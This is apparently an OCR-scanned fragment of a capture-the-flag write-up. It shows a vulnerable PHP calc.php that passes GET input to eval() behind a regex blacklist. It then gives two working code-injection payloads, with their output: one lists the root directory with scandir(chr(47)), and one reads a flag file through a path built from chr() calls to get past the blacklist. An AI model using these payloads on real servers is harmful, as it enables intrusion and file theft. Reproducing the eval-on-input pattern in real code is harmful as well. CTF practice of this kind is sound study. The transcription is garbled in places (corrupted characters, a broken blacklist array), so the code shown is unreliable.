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23| <!--I've set up WAF to ensure security.-->
24 | <seript>
PN e T WAFCURf R 224, A5 A calc.php :
<?php
error_ reporting(0);
if(!isset($_GET[ 'num’])){
show source(_ FILE );
}else{
$str = § GET[ 'num'];
$blacklist = [' ', "“&', "Ar', "Ant, AT, T, T AL, AT TS AN AT
foreach ($blacklist as $blackitem) {
if (preg match('/' . $blackitem . '/m', $str)) {

die("what are you want to do?");
]
}

eval('echo ".$str.';');
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num=1;var_dump(scandir(chr(47)))

1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev"
[6]=> string(3) "etc" [7]=> string(5) "flagg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=>
string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=>
string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
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num=1;var_dump(file get contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

1string(43) "flag{c47f8326-7cc7-483f-841c-29c35dae8c2c} "
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